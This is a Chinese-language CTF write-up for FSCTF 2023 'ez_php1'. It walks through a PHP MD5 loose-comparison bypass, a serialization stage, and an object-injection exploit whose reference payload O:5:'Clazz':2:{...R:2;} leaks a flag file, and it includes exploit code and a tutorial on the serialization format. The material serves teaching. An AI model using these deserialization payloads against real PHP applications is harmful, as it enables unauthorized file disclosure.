[FSCTF 2023]ez_php1
第一关
弱比较随便绕
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
game over!
拿到下一关的目录L0vey0U.php
第二关
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
flag{This_is_fake_flag}
把key序列化一下s:10:"YES I love";
,然后GET方式传进去拿到下一关的目录P0int.php
第三关
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
这里有unserialize反序列化,要想反序列化就得先明白序列化。
序列化
在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化
bool: b:value =>b:0
int: i:value=>i:1
str: s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL: N
序列化前
<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>
序列化后
O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}
R与r
当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化
为什么?(看完“分析”以后再看这里)
<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}
而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示
<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}
魔术方法
这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法
eg:例如题目中有一个类名为Clazz的class类,比如当我们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct
exp:
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>
序列化后得到payload:O:5:“Clazz”:2:{s:1:“a”;N;s:1:“b”;R:2;}
R为2代表是第二个反序列化元素被引用
POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);
这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。
当我们把payload传进data之后,在@unserialize($_POST[‘data’])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b
这里的 @
前缀作用如下:
- 抑制错误:如果
unserialize($_POST['data'])
在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@
运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。 - 继续执行:即使
unserialize()
函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。 - 安全风险:使用
@
错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用@
运算符掩盖其利用反序列化漏洞执行恶意代码的过程。